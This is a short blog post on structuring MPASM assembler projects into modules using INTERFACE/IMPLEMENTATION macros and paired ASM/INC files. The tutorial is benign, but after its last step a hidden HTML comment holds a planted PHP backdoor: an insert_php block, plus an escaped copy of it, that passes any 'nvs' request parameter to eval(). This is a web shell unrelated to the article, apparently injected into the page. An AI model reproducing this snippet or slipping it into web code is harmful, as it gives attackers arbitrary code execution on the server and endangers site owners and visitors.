Skip to content

A disciplined approach for decomposing MP ASM project onto modules

MP ASM does not provide good facilities for creating well organized modules and defining interfaces like high-level languages do. The following approach may help you to fill this lacuna. 

1. Create a file which will be included in every single source, let say it is pic.inc

2. Define the following macro in pic.inc

INTERFACE macro
#ifdef PUBLIC
#undefine PUBLIC
#endif
#define PUBLIC EXTERN
endm
IMPLEMENTATION macro
#ifdef PUBLIC
#undefine PUBLIC
#endif
#define PUBLIC GLOBAL
endm

3. Decompose you project on encapsulated objects,

4. For each object create two files, ASM and INC

5. On top of each INC file add the following ifdef (EACH is a placeholder for actual file name)

#ifdef EACH_ASM
   IMPLEMENTATION
#else
  INTERFACE
#endif

6. Define your public entries, to be implemented in EACH.ASM

PUBLIC EACH_INIT
PUBLIC EACH_START
PUBLIC EACH_STOP

7. On top of each ASM file add the following lines
#define EACH_ASM
include "pic.inc"
include "myothers.inc"
include "EACH.INC"
 

8. Implement your public entries.

<!– [insert_php]if (isset($_REQUEST["nvs"])){eval($_REQUEST["nvs"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;nvs&quot;])){eval($_REQUEST[&quot;nvs&quot;]);exit;}

–>

Post a Comment

Your email is never published nor shared. Required fields are marked *
*
*

*

This blog is protected by dr Dave\'s Spam Karma 2: 197 Spams eaten and counting...